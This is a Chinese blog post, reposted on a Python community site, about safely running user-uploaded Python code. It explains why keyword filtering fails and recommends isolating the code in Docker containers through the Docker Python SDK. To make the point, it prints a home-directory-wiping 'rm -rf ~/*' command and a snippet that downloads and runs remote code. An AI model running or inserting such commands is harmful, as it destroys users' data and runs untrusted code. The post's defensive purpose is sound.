社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

如何安全运行别人上传的 Python 代码?

进击的Coder • 1 年前 • 265 次点击  
这是「进击的Coder」的第 901 篇技术分享
作者:kingname
来源:未闻 Code

阅读本文大概需要 5 分钟。



写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的 Python 代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的 Home 文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.systemexecsubprocess……这些危险关键词不就可以了吗?

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

import requests

code = requests.get('https://www.kingname.info/dangerous_code').text

with open('dangerous_code.py''w'as f:
    f.write(code)

dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:

import os
def delete_all():
    os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的 URL 中,这样就能窃取你网站里面所有代码。

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

显然,最简单直接的办法,就是使用 Docker 来运行用户的代码。而使用 Docker 并不一定需要在终端使用 Shell 命令。我们可以使用 Docker 的 Python SDK 来实现构建镜像和运行镜像。

首先,确保你的服务器上面已经有 Docker,并且正在运行。接下来,安装 Docker SDK:

pip install docker

假设,你把用户上传的文件放在了user//upload文件夹下面,那么,首先你需要生成一个 Dockerfile,并把这个 Dockerfile 放到 upload 文件夹中:

from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

当用户添加 / 修改了第三方库时,你只需要更新 requirements.txt 即可让镜像里面的依赖符合用户的需求。

接下来,我们开始构建镜像并运行代码:




    
import docker
client = docker.from_env()

client.images.build(path='user//upload', tag='xxxspider:0.01'# tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回 container 对象。当你想查看代码日志时,执行:

container.logs(tail=10# 显示最后10行日志

就可以看到相关的日志了。

关于 Docker SDK 的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

参考资料

[1]

Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/166375
 
265 次点击